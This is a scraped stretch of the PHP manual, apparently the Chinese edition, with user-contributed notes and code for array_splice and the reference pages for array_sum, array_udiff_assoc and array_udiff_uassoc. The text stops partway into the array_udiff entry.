I need <?php array_Splice()?> function, that use array keys instead of order (offset and length) because of associated arrays, and this is result:

<?php
/**
 *    first variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $end is index of slice end, if this is null, $replacement will be inserted (in the same way as original array_Slice())
 *indexes of $replacement are preserved in both examples
 */
function array_KSplice1(&$input, $start, $end=null, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;
    if($end!==null)
    {
        $end=array_Search($end,$keys,true);
        // if $end not found, exit
        if($end===false)
            return false;
        // if $end is before $start, exit
        if($end<$start)
            return false;
        // index to length
        $end-=$start-1;
    }

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$end,$rKeys);
        array_Splice($values,$start,$end,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$end);
        array_Splice($values,$start,$end);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

/**
 *    second variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $length is length of slice, what will be replaced, if is zero, $replacement will be inserted (in the same way as original array_Slice())
 */
function array_KSplice2(&$input, $start, $length=0, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$length,$rKeys);
        array_Splice($values,$start,$length,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$length);
        array_Splice($values,$start,$length);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

$array=range(1,10);
var_Dump(array_KSplice1($array,3,3,array(100=>101,102,103,104)));

$array=range(1,10);
var_Dump(array_KSplice2($array,3,3,array(100=>101,102,103,104)));

?>

Both examples output:
array(11) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [100]=>
  int(101)
  [101]=>
  int(102)
  [102]=>
  int(103)
  [103]=>
  int(104)
  [6]=>
  int(7)
  [7]=>
  int(8)
  [8]=>
  int(9)
  [9]=>
  int(10)
}
madmax at max-worlds dot net 23-Sep-2008 06:23
Note:  If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object replacement .

Example :

<?php
class A()
{
    private $a;
    private $b;
    public function __construct()
    {
        $this->a = "foo";
        $this->b = "bar";
    }
}

$array = array();
array_splice($array, 0, 0, new A());
print_r($array);
?>

Outputs :

Array : Array
{
    [0] => foo
    [1] => bar
}

Solution : Enforce the array() on the object.

<?php
array_splice($array, 0, 0, array(new Object());
?>

Source : http://bugs.php.net/bug.php?id=44485
loushou - life dot 42 at gmail dot com 27-Jul-2008 04:39
i miss posted the actual function...
here is the real one lol

<?php

function q_sort(&$Info, $Index, $Left, $Right)
{
  echo "memory usage <b>".memory_get_usage()."</b><br/>\n";
  $L_hold = $Left;
  $R_hold = $Right;
  $Pivot = $Left;
  $PivotValue = $Info[$Left];
  while ($Left < $Right)
  {
    while (($Info[$Right][$Index] >= $PivotValue[$Index]) && ($Left < $Right))
      $Right--;
    if ($Left != $Right)
    {
      $Info[$Left] = $Info[$Right];
      $Left++;
    }
    while (($Info[$Left][$Index] <= $PivotValue[$Index]) && ($Left < $Right))
      $Left++;
    if ($Left != $Right)
    {
      $Info[$Right] = $Info[$Left];
      $Right--;
    }
  }
  $Info[$Left] = $PivotValue;
  $Pivot = $Left;
  $Left = $L_hold;
  $Right = $R_hold;
  if ($Left < $Pivot)
    q_sort($Info, $Index, $Left, $Pivot-1);
  if ($Right > $Pivot)
    q_sort($Info, $Index, $Pivot+1, $Right);
}

?>
Francis 27-Apr-2008 12:27
Do you need to sort a 2D array on just one of its variables while trying to preserve somewhat the original order?

<?php

function sort_2d_array($array, $position, $order = "ASC"){
  if (!is_array($array)) return $array;
  if (count($array) < 2) return $array;
  $new = array($array[0]);
  for ($cnt = 1; $cnt <= count($array) - 1; $cnt++){
    $stop = 0;
    $splice = 0;
    for ($newcnt = 0; $newcnt <= count($new) - 1; $newcnt++){
      if ($stop == 0){
        if ($order == "ASC")
        if ($array[$cnt][$position] < $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for ASC
        if ($order == "DESC")
        if ($array[$cnt][$position] > $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for DESC
      } // stop vying for position
    } // cycle through new array to find position
    if ($stop == 0){
      $new[] = $array[$cnt];
    } else {
      array_splice($new, $splice, 0, array($array[$cnt]));
    } // splice into new array while keeping somewhat the original order
  } // cycle through original array
  return $new;
} // sort_2d_array

?>

Application Example: In-House Search Engine
Here we are trying to find the word apple in the website by sort of the most recent occurances first, but the number of occurances first.

We've already sorted the mysql output by the date desc and have counted the no of occurances and have placed those in an array for the final query.

I've used this function to further sort the occurances but somewhat keep the original mysql sort order.

Key
[0] Record number
     [0] Record ID
     [1] Source Table
     [2] No of Occurances Pinged

  ---------------------------

[0]
     [0] 24530
     [1] Blogs
     [2] 1

[1]
     [0] 24400
     [1] Blogs
     [2] 1

[2]
     [0] 24240
     [1] Blogs
     [2] 4

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

After running...

<?php
sort_2d_array($array, 2, "DESC");
?>

We have...

[0]
     [0] 24240
     [1] Blogs
     [2] 4

[1]
     [0] 24530
     [1] Blogs
     [2] 1

[2]
     [0] 24400
     [1] Blogs
     [2] 1

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

Might be useful to someone...
pauljamescampbell at gmail dot com 06-Feb-2008 06:46
Here's my own take on an array slice method that preserves keys from an associative array.

<?php
/**
 * Array slice function that preserves associative keys
 *
 * @function associativeArraySlice
 *
 * @param  Array  $array  Array to slice
 * @param  Integer  $start
 * @param  Integer  $end
 *
 * @return  Array
 */
function associativeArraySlice($array, $start, $end) {
    // Method param restrictions
    if($start < 0) $start = 0;
    if($end > count($array)) $end = count($array);

    // Process vars
    $new = Array();
    $i = 0;

    // Loop
    foreach($array as $key => $value) {
        if($i >= $start && $i < $end) {
            $new[$key] = $value;
        }
        $i++;
    }
    return($new);
}
?>
mip at ycn dot com 08-Mar-2007 05:37
Ever wounder what array_splice is doing to your references, then try this little script and see the output.

<?php

$a = "a";
$b = "b";
$c = "c";
$d = "d";
$arr = array();
$arr[] =& $a;
$arr[] =& $b;
$arr[] =& $c;
array_splice($arr,1,0,array($d));
$sec_arr = array();
$sec_arr[] =& $d;
array_splice($arr,1,0,$sec_arr);

$arr[0] = "test"; // should be $a
$arr[3] = "test2"; // should be $b
$arr[1] = "this be d?"; // should be $d
$arr[2] = "or this be d?"; // should be $d
var_dump($arr);
var_dump($a);
var_dump($b);
var_dump($d);
?>

The output will be (PHP 4.3.3):

array(5) {
  [0]=>
  &string(4) "test"
  [1]=>
  &string(10) "this be d?"
  [2]=>
  string(13) "or this be d?"
  [3]=>
  &string(5) "test2"
  [4]=>
  &string(1) "c"
}
string(4) "test"
string(5) "test2"
string(10) "this be d?"

So array_splice is reference safe, but you have to be careful about the generation of the replacement array.

have fun, cheers!
ahigerd at stratitec dot com 24-Jan-2007 06:07
A comment on array_merge mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
bdjumakov at gmail dot com 31-Aug-2006 12:11
Someone might find this function usefull. It just takes a given element from the array and moves it before given element into the same array.

<?php
function array_move($which, $where, $array)
{
    $tmp  = array_splice($array, $which, 1);
    array_splice($array, $where, 0, $tmp);
    return $array;
}
?>
Paul 11-Feb-2006 10:06
In PHP 4.3.10, at least, it seems that elements that are inserted as part of the replacement array are inserted BY REFERENCE (that is, as though with the =& rather than = assignment operation). So if your replacement array contains elements that references to variables that you can also access via other variable name, then this will be true of the elements in the final array too.

In particular, this means that it is safe to use array_splice() on arrays of objects, as you won't be creating copies of the objects (as it is so easy to do in PHP 4).
weikard at gmx dot de 15-Sep-2005 05:53
You cannot insert with array_splice an array with your own key. array_splice will always insert it with the key "0".

<?php
// [DATA]
$test_array = array (
  row1 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row2 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row3 => array (col1 => 'foobar!', col2 => 'foobar!')
);

// [ACTION]
array_splice ($test_array, 2, 0, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [0] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

But you can use the following function:

function array_insert (&$array, $position, $insert_array) {
  $first_array = array_splice ($array, 0, $position);
  $array = array_merge ($first_array, $insert_array, $array);
}

<?php
// [ACTION]

array_insert ($test_array, 2, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [rowX] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

[NOTE]

The position "0" will insert the array in the first position (like array_shift). If you try a position higher than the langth of the array, you add it to the array like the function array_push.
csaba at alum dot mit dot edu 13-Aug-2005 02:31
Appending arrays
If you have an array $a2 whose values you would like to append to an array $a1 then four methods you could use are listed below in order of increasing time.  The last two methods took significantly more time than the first two.  The most surprising lesson is that using the & incurs a time hit.

<?php
foreach ($a2 as $elem) $a1[]=$elem;
foreach ($a2 as &$elem) $a1[]=$elem;
array_splice ($a1, count($a1), 0, $a2);
$a1 = array_merge($a1, $a2);
?>

Csaba Gabor from Vienna
randomdestination at gmail dot com 22-Jul-2005 01:52
To split an associative array based on it's keys, use this function:

<?php
function &array_split(&$in) {
    $keys = func_get_args();
    array_shift($keys);

    $out = array();
    foreach($keys as $key) {
        if(isset($in[$key]))
            $out[$key] = $in[$key];
        else
            $out[$key] = null;
        unset($in[$key]);
    }

    return $out;
}
?>

Example:
<?php
$testin = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$testout =& array_split($testin, 'a', 'b', 'c');

print_r($testin);
print_r($testout);
?>

Will print:

Array
(
    [d] => 4
)
Array
(
    [a] => 1
    [b] => 2
    [c] => 3
)

Hope this helps anyone!
gideon at i6developments dot com 17-Jul-2004 09:45
array_splice dynamically updates the total number of entries into the array. So for instance I had a case where I needed to insert a value into every 4th entry of the array from the back. The problem was when it added the first, because the total number was dynamically updated, it would only add after the 3rd then the 2nd and so one. The solution I found is to track the number of inserts which were done and account for them dynamically.

Code:
<?php
    $modarray = array_reverse($mili);
    $trig=1;
        foreach($modarray as $rubber => $glue) {
            if($rubber!="<BR>") {
            $i++;
            $b++;
            if ($i==4) {
                $trig++;
                if($trig<=2) {
                array_splice($modarray,$b,0,"<BR>");
                }elseif($trig>=3){
                array_splice($modarray,$b+($trig-2),0,"<BR>");
                }
                $i=0;
                };
                };
        };
    $fixarray = array_reverse($modarray);

?>
rolandfoxx at yahoo dot com 30-Mar-2004 12:16
Be careful, array_splice does not behave like you might expect should you try to pass it an object as the replacement argument.  Consider the following:

<?php
//Very truncated
class Tree {
  var $childNodes

  function addChild($offset, $node) {
    array_splice($this->childNodes, $offset, 0, $node);
    //...rest of function
  }

}

class Node {
  var $stuff
  ...
}

$tree = new Tree();
// ...set 2 nodes using other functions...
echo (count($tree->childNodes)); //Gives 2
$newNode = new Node();
// ...set node attributes here...
$tree->addChild(1, $newNode);
echo(count($tree->childNodes)); //Expect 3?  wrong!
?>

In this case, the array has a number of items added to it equal to the number of attributes in the new Node object and the values thereof  I.e, if your Node object has 2 attributes with values "foo" and "bar", count($tree->childNodes) will now return 4, with the items "foo" and "bar" added to it.  I'm not sure if this qualifies as a bug, or is just a byproduct of how PHP handles objects.

Here's a workaround for this problem:
function array_insertobj(&$array, $offset, $insert) {
  $firstPart = array_slice($array, 0, $offset);
  $secondPart = array_slice($array, $offset);
  $insertPart = array($insert);
  $array = array_merge($firstPart, $insertPart, $secondPart);
}

Note that this function makes no allowances for when $offset equals the first or last index in the array.  That's because array_unshift and array_push work just fine in those cases.  It's only array_splice that can trip you up.  Obviously, this is kinda tailor-made for arrays with numeric keys when you don't really care what said keys are, but i'm sure you could adapt it for associative arrays if you needed it.
kbrown at horizon dot sk dot ca 11-Aug-2003 12:40
[ Editor's Note: If you're not concerned with the indexes being contiguously numbered (such as for an associative array) then unset($ar[$ind]); will accomplish the same as the code below without requiring splice/splice/merge.  If contiguous numbering IS a concern (such as for indexed arrays), you can still save time by using: unset($ar[$ind]); $ar = array_values($ar); ]

Removing elements from arrays

This works better - much quicker

<?php
$ar = array("einstein", "bert", "colin", "descartes", "renoir");
$a = array_slice($ar, 0, $ind);
$b = array_slice($ar, $ind + 1);
$ar = array_merge($a, $b);
?>
plintus at smtp dot ru 14-Apr-2003 01:59
key-safe:

<?php
function array_kslice ($array, $offset, $length = 0) {
$k = array_slice (array_keys ($array), $offset, $length);
$v = array_slice (array_values ($array), $offset, $length);
for ($i = 0; $i < count ($k); $i ++) $r[$k[$i]] = $v[$i];
return $r;
}
?>

smth like this. hope you like it more than versions above :)
tsunaquake DOESNTLIKESPAM @ wp DOT pl 11-Nov-2002 10:56
It is possible to use a string instead of offset, eg if you want to deletre the entry $myArray['entry'] then you can simply do it like this:

<?php
array_splice($myArray, 'entry', 1);
?>

Note that you can use unset($myArray['entry']) as well but then, it doesn't enable you to remove more than one entry and it doesn't replace anything in the array, if that's what you intend to do.
18-Jun-2002 07:14
Please note that array_splice() 's second argument is an OFFSET and not an INDEX.

Lets say you want to
$array_of_items = array ('nothing','myitem','hisitem','heritem');
$sid = array_search('myitem',$array_of_items);
echo $sid; /* prints out 1, since index element 1 is "myitem" */

Now, lets say we want to remove that "myitem" from the array:

<?php
$array_of_items = array_splice($array_of_items,(1+$sid),1);
?>

Notice how you have to add a one to the $sid variable?  That is because offset item 1 is "nothing" and since $sid is currently 1 (the index of "myitem"), we add 1 more to it to find out
 its OFFSET.

DO NOT DO THIS:
 $array_of_items = array_splice($array_of_items,$sid,1);
paule at cs dot tamu dot edu 12-Jun-2002 09:59
to kokos@lac.lviv.ua:

Good point about the code not doing what you expected.

The failure to check for the insert case like you pointed out is not a bug, however. I didn't add code to handle that because the key of such an added index is more or less undefined in an unordered associative array. Put another way, if your array is associative and not auto-indexed, you most likely care enough about your keys to want to set them explicitly.
paule at cs dot tamu dot edu 06-Jun-2002 11:09
After reading KoKos' post above, I thought that the code I posted right before his should do what he wanted. However, my original post neglected to note the little "Tip" in the documentation above, about a single element replacement.

If one changes the lines in my code above that says:

<?php
                if(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

to instead say:

<?php
                if(is_string($replacement))
                    $new_array[$key]=$replacement;
                elseif(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

that will solve the problem.

Sorry for the omission.
kokos at lac dot lviv dot ua 06-Jun-2002 08:26
It may seem obvious from the above posts, but cost me a bit of
braindamage to figure this out...

Contrary to the equivalence noted on this page
$input[$x] = $y   <==>   array_splice ($input, $x, 1, $y)
array_splice() will not always work as expected,
even provided that you have only INTEGER keys!

The following code:
   $t=array('a','b','c','d','e');
   var_dump($t);

<?php
   unset($t[0],$t[1],$t[3]);
   $t[0]='f';
   var_dump($t);

   array_splice($t,0,1,'g');
   var_dump($t);
?>

Will produce:
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
}
array(3) {
  [2]=>
  string(1) "c"
  [4]=>
  string(1) "e"
  [0]=>
  string(1) "f"
}
array(3) {
  [0]=>
  string(1) "g"
  [1]=>
  string(1) "e"
  [2]=>
  string(1) "f"
}

Note the position of $t[0] in the second call to var_dump().
And of course, array_splice() left it intact, changing $t[2] instead.
This is because it operates the _offset_, not the _index_.  :)
I think that "equivalence note" should be considered buggy.  ;)))

Best wishes.
KoKos.
jrhardytwothousandtwo at yahoo dot com 14-Feb-2002 11:54
A reference is made to INSERT'ing into an array here with array_splice, however its not explained very well.  I hope this example will help others find what took me days to research.

<?php
$original_array = array(1,2,3,4,5);
$insert_into_key_position = 3;
$item_to_insert = "blue";

$returned = array_splice($original_array, $insert_into_key_position, 0, $item_to_insert);

// $original_array will now show:

// 1,2,3,blue,4,5
?>

Remember that you are telling the array to insert the element into the KEY position.  Thus the elements start with key 0 and so on 0=>1, 1=>2, 2=>3, 3=>blue, 4=>4, 5=>5.  And walla, you've inserted.  I can't say if this is of any value for named keys, or multidimensional arrays.  However it does work for single dimensional arrays.

$returned should be an empty array as nothing was returned.  This would have substance if you were doing a replace instead.
leingang AT math DOT rutgers DOT edu 15-Jan-2002 07:32
array_splice resets the internal pointer of $input.  In fact, many array functions do this.  Caveat programmor!


对数组中所有值求和

  • ? array_splice
  • array_udiff_assoc ?
  • PHP Manual
  • 数组 函数
  • 对数组中所有值求和

array_sum

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

array_sum — 对数组中所有值求和

说明

array_sum ( array $array ) : number

array_sum() 将数组中的所有值相加，并返回结果。

参数

array

输入的数组。

返回值

所有值的和以整数或浮点数的结果返回，array 为空时则返回 0。

范例

Example #1 array_sum() 例子

<?php
$a = array(2, 4, 6, 8);
echo "sum(a) = " . array_sum($a) . "\n";

$b = array("a" => 1.2, "b" => 2.3, "c" => 3.4);
echo "sum(b) = " . array_sum($b) . "\n";
?>

以上例程会输出：

sum(a) = 20
sum(b) = 6.9

User Contributed Notes

j_mullings at hotmail dot co dot uk 19-Dec-2017 04:07
Nice and clean if you know what I mean:

function makeRecursive($ar = "")
{
    $toflat = array( $ar );
    $res = array();
    while (($r = array_shift($toflat)) !== NULL)
        foreach ($r as $v)
            if (is_array($v))
                $toflat[] = $v;
            else
                $res[] = $v;
    return $res;
}
$data = [0,0,0,[0,0,[0,1,0,],0],0];
echo array_sum(makeRecursive($data));
p dot troxler at hispeed dot ch 25-Apr-2017 09:39
array_sum can be used to caculate the cross sum in a very short way:

array_sum(str_split('17243'))

php frameworks like rexo do it like this; it's faster then do it by iteration.
didatus at dynarize dot de 20-Sep-2014 09:21
If you want to check if there are for example only strings in an array, you can use a combination of array_sum and array_map like this:

<?php

function only_strings_in_array($arr) {
    return array_sum(array_map('is_string', $arr)) == count($arr);
}

$arr1 = array('one', 'two', 'three');
$arr2 = array('foo', 'bar', array());
$arr3 = array('foo', array(), 'bar');
$arr4 = array(array(), 'foo', 'bar');

var_dump(
    only_strings_in_array($arr1),
    only_strings_in_array($arr2),
    only_strings_in_array($arr3),
    only_strings_in_array($arr4)
);
?>

This will give you the following result:
bool(true)
bool(false)
bool(false)
bool(false)
hdeus at yahoo dot com 06-Oct-2008 07:01
Here is how you can multiply two arrays in the form of matrixes using a bit of matrix algebra (M*M).
By calling the function multiplyMatrix, you will be multiplying two sparse matrixes (zeros need not be included in the array for the operation to be performed).

<?php
$M = array(
0=>array(1=>1,4=>1),
1=>array(2=>1,3=>1),
3=>array(1=>1),
4=>array(5=>1),
5=>array(6=>1)
);

$M1 = multiplyMatrix($M, $M); //multiplying $M by itself

echo '<pre>';print_r($M1);echo '</pre>';

function multiplyMatrix($M1, $M2)
    {
#Helena F Deus, Oct 06, 2008
##Multiply two matrixes; $M1 and $M2 can be sparse matrixes, the indexes on both should match
        if(is_file($M1)) {$matrix1 = unserialize(file_get_contents($M1));}
        else $matrix1 = $M1;

        #transpose M2
        $M2t = transpose($M2);

        foreach ($M2t as $row=>$tmp) {
            ##sum the result of the value in the col multiplied by the value in the vector on the corresponding row

                foreach ($M1 as $row1=>$tmp1) {

                    $multiply[$row1] = array_rproduct($tmp,$tmp1);

                    if(!$multiply[$row1]){
                          exit;
                        }
                }

                foreach ($multiply as $row1=>$vals) {

                    $sum[$row][$row1]=array_sum($vals);
                }

        }

    $r=transpose($sum);

    return ($r);
    }

function transpose($M)
{
foreach ($M as $row=>$cols) {

            foreach ($cols as $col=>$value) {
                 if($value)
                 $Mt[$col][$row]=$value;
            }
        }
        ksort($Mt);

return ($Mt);
}

function array_rproduct($a1, $a2)
{

    foreach ($a1 as $line=>$cols) {
        $a3[$line] = $a1[$line]*$a2[$line];
        foreach ($a2 as $line2=>$cols2) {
            $a3[$line2] = $a1[$line2]*$a2[$line2];
        }
    }
    ksort($a3);

    return ($a3);

}

?>
herenvardo at gmail dot com 24-Nov-2006 03:28
I'm not sure if something similar already exists, but I needed it so I made it:
<?php
  /* Performs a pitagoric sum of the elements in $arr
   The pitagoric sum of a set of values is the square root of
   the sum of the sqare power of each value. So, for a, b, c
   it's sqrt(a^2 + b^2 + c^2) */
  /* If any element of $arr is an array itself, the array_sum
   will be used. Alternatively, the values could be used by
   recursion. Returns the integer part (floor) */
  function array_pitag_sum($arr) {
    if(is_array($arr) {
      $ret = 0;
      foreach($arr as $i) {
        if(is_array($i)) {
          $s = array_sum($i);
          $ret += $s*$s;
        } else {
          $ret += $i*$i;
        }
      }
      return floor(sqrt($ret));
    } else {
      return $arr;
    }
  }
?>
punchto at hotmail dot com 15-Mar-2005 07:06
Microsoft Excel - SUMIF()

function sumif($array,$criteria,$sum_array){
  if(is_array($array) && is_array($sum_array) && trim($criteria)!= ""){
    $array_count = (count($array) < count($sum_array)) ? count($array):count($sum_array);
    for($i=0;$i<$array_count;$i++){
      if(ereg("^<",$criteria)){
        $value = ereg_replace("^<","",$criteria);
        $result += $array[$i] < $value ? $sum_array[$i]:0;
      }
      elseif(ereg("^>",$criteria)){
        $value = ereg_replace("^>","",$criteria);
        $result += $array[$i] > $value ? $sum_array[$i]:0;
      }
      else{
        $value = $criteria;
        $result += $array[$i] == $value ? $sum_array[$i]:0;
      }

    }
    return $result ? $result:0;
  }
}
ncheung at maine dot rr dot com 07-Feb-2005 06:02
For clarity, array indices containing boolean values such as TRUE and FALSE are added up as though they are 1 and 0 respectively.
mucello NOO SPAM @ weatherimages dOt org 22-Oct-2003 03:44
If you want to find the AVERAGE of the values in your array, use the sum and count functions together.  For example, let's say your array is $foo and you want the average...

<?php
$average_of_foo = array_sum($foo) / count($foo);
?>
drverieevil at REMOVEMEasenne dot org 30-Jul-2003 03:14
If some array elements arent integers, function will change them to integers (content of array will not change) type and then sum them.

Example:
<?php
$foo[] = "12";
$foo[] = 10;
$foo[] = "bar";
$foo[] = "summer";
echo array_sum ($foo); //same as echo "22";
?>


带索引检查计算数组的差集，用回调函数比较数据

  • ? array_sum
  • array_udiff_uassoc ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的差集，用回调函数比较数据

array_udiff_assoc

(PHP 5, PHP 7)

array_udiff_assoc — 带索引检查计算数组的差集，用回调函数比较数据

说明

array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

Note: 注意本函数只检查了多维数组中的一维。当然，可以用 array_udiff_assoc($array1[0], $array2[0], "some_comparison_func"); 来检查更深的维度。

参数

array1

第一个数组。

array2

第二个数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int

返回值

array_udiff_assoc() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意和 array_diff() 与 array_udiff() 不同的是键名也用于比较。数组数据的比较是用用户提供的回调函数进行的。在此方面和 array_diff_assoc() 的行为正好相反，后者是用内部函数进行比较的。

范例

Example #1 array_udiff_assoc() 例子

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    static function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }
}

$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_assoc($a, $b, array("cr", "comp_func_cr"));
print_r($result);
?>

以上例程会输出：

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

上例中可以看到键值对 "1" => new cr(4) 同时出现在两个数组中因此不在本函数的输出中。

参见

  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

m dot ario dot huq at gmail dot com 05-Mar-2018 06:28
The example #1 can be modified (PHP 7 or higher) by using Spaceship operator (<=>):

<?php
//...
static function comp_func_cr($a, $b)
{
    return $a->priv_member <=> $b->priv_member;
}
//...
?>
tmquang6805 at yahoo dot com 25-May-2014 09:54
Difference between array_udiff_assoc() and array_diff_assoc()

- array_udiff_assoc(): Compares the DATA with the user supplied callback function
- array_diff_assoc(): Compares the INDEX with the user supplied callback function


带索引检查计算数组的差集，用回调函数比较数据和索引

  • ? array_udiff_assoc
  • array_udiff ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的差集，用回调函数比较数据和索引

array_udiff_uassoc

(PHP 5, PHP 7)

array_udiff_uassoc — 带索引检查计算数组的差集，用回调函数比较数据和索引

说明

array_udiff_uassoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func , callable $key_compare_func ) : array

array_udiff_uassoc() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。

注意和 array_diff() 与 array_udiff() 不同的是键名也用于比较。

参数

array1

第一个数组。

array2

第二个数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int
key_compare_func

对键名（索引）的检查也是由回调函数 key_compare_func 进行的。这和 array_udiff_assoc() 的行为不同，后者是用内部函数比较索引的。

返回值

Returns an array containing all the values from array1 that are not present in any of the other arguments.

范例

Example #1 array_udiff_uassoc() 例子

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    static function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }

    static function comp_func_key($a, $b)
    {
        if ($a === $b) return 0;
        return ($a > $b)? 1:-1;
    }
}
$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_uassoc($a, $b, array("cr", "comp_func_cr"), array("cr", "comp_func_key"));
print_r($result);
?>

以上例程会输出：

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

在上例中键值对 "1" => new cr(4) 同时出现在两个数组中，因此不在本函数的输出中。要记住必须提供两个回调函数。

注释

Note: 注意本函数只检查了多维数组中的一维。当然，可以用 array_udiff_uassoc($array1[0], $array2[0], "data_compare_func", "key_compare_func"); 来检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

There are no user contributed notes for this page.


用回调函数比较数据来计算数组的差集

  • ? array_udiff_uassoc
  • array_uintersect_assoc ?
  • PHP Manual
  • 数组 函数
  • 用回调函数比较数据来计算数组的差集

array_udiff

(PHP 5, PHP 7)

array_udiff — 用回调函数比较数据来计算数组的差集

说明

array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array

使用回调函数比较数据，计算数组的不同之处。和 array_diff() 不同的是，前者使用内置函数进行数据比较。

参数

array1

第一个数组。

array2

第二个数组。

value_compare_func

回调对照函数。

